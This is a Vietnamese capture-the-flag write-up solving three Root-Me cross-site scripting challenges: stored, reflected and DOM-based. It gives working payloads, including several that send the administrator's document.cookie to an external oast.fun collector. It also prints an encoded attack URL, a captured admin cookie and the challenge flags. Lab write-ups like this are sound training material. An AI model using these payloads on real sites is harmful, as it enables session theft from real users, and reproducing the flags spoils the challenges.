**Bài 1: XSS- Stored 2**

Bài này mục tiêu là đánh cắp cookie của nhà quản trị.

Nó cho 2 input title và message.

Mình thử fuzz lỗi XSS thì thấy title chỉ nhận những giá trị có thể in được như [a-zA-Z0-9-\_]. Nếu có 1 kí tự đặc biệt thì nó sẽ không in ra 🡪 Không thể tấn công Stored XSS được

Còn input message đã bị mã hóa HTML.

Do mình mải mê khai thác input quá nên mất rất nhiều thời gian. Điều mình chú ý nhất là status được in ra lúc invite lúc admin.

Mình xem cookie thì mới thấy status=invite. Đây là dữ liệu mình kiểm soát được. Nó được phản ánh như sau:

<span>

<b>

1

</b>

&nbsp; (<i class=”invite”> status: invite</i>)

</span>

<span>

1

</span.

Bài học mình nhận được là: bất cứ dữ liệu nào kẻ tấn công kiểm soát được mà bị phản ánh trong trang web đều có thể bị dính lỗi XSS.

Thử status=<script> 🡪 <i class=”&lt;script&gt;”> &lt;script&gt;</i>

Ta không thể dùng những kí tự đặc biệt như <,>,”. Có vẻ bối cảnh khai thác là trong thuộc tính.

Sự kiện onfocus chỉ thích hợp cho thẻ a,input.

Payload: abc"><script>alert(123)</script>

Không biết ứng dụng bị lỗi gì lúc mã hóa HTML, lúc không ☺

Để lấy được cookie, payload:

abc"><script>document.location='http://ce6mtw32vtc0000p3mx0g8dkpqyyyyyyb.oast.fun/?c='+document.cookie</script>

ADMIN\_COOKIE=SY2USDIH78TF3DFU78546TE7F 🡪 Flag:E5HKEGyCXQVsYaehaqeJs0AfV

**Bài 2: XSS- Reflected:**

Bài này có 2 việc chúng ta phải làm:

* Tự động kích hoạt code Javascript
* Đánh cắp được cookie của nhà quản trị

Nếu là XSS reflected thì sẽ liên quan đến url

Mình fuzz lỗi thì thấy /?p=abc được phản ánh trong trang web

<p>

The page <a href=’**?p=abc**’>**abc**</a> could not be found

</p>

Có vẻ như bối cảnh XSS là trong thuộc tính. Dấu <,>,” bị mã hóa HTML.

Payload: abc' onfocus=alert(1) x='

(Lưu ý: có hai loại nháy đơn: ' và ‘’. Và HTML dùng dấu '. Nháy kép cx tương tự)

Bước 1, mình đã thực thi được Javascript.

Tiếp theo, để lấy cookie người dùng, phải làm như sau:

Payload: abc' onfocus='document.location='' http://ce6mtw32vtc0000p3mx0g8dkpqyyyyyyb.oast.fun/?c=''+document.cookie

Nhưng rõ ràng dấu " bị mã hóa html, Làm sao đóng chuỗi được??

Mình thử với localhost:

<a href='?p=abc' onfocus='document.location=&apos;http://ce6mtw32vtc0000p3mx0g8dkpqyyyyyyb.oast.fun/?c=&apos;+document.cookie'>abc</a>

🡪 Vẫn khai thác thành công.

Nhưng quản trị biết về bảo mật, anh ấy không bao giờ click vào những đường dẫn lạ.

Mình phải dùng những sự kiện không cần tương tác của người dùng như onmouseover 🡪 report cho quản trị.

flag=r3fL3ct3D\_XsS\_fTw

**Bài 3: XSS Dom-based introduction:**

Bài này mục tiêu là lấy được cookie của nhà quản trị.

Có 2 dữ liệu chúng ta có thể kiểm soát: contact (url), main (number)

GET: /?number=1

Đây là đoạn script của main:

<script>

var random = Math.random() \* (99);

var number = '1';

if(random == number) {

document.getElementById('state').style.color = 'green';

document.getElementById('state').innerHTML = 'You won this game but you don\'t have the flag ;)';

}

else{

document.getElementById('state').style.color = 'red';

document.getElementById('state').innerText = 'Sorry, wrong answer ! The right answer was ' + random;

}

</script>

Ở đây biến number lưu đầu vào người dùng.

Payload: 1';-alert(1)-'

🡪 Thực thi được Javascript

Payload: 1';document.location='http://ce6phne2vtc00004spq0g8dme4wyyyyyb.oast.fun/?c='+document.cookie//

Để lấy được cookie, gửi url sau cho nhà quản trị trong contact:

http://challenge01.root-me.org/web-client/ch32/index.php?

number=1%27%3Bdocument.location%3D%27http%3A%2F%2Fce6phne2vtc00004spq0g8dme4wyyyyyb.oast.fun%2F%3Fc%3D%27%2Bdocument.cookie%2F%2F

flag=rootme{XSS\_D0M\_BaSed\_InTr0}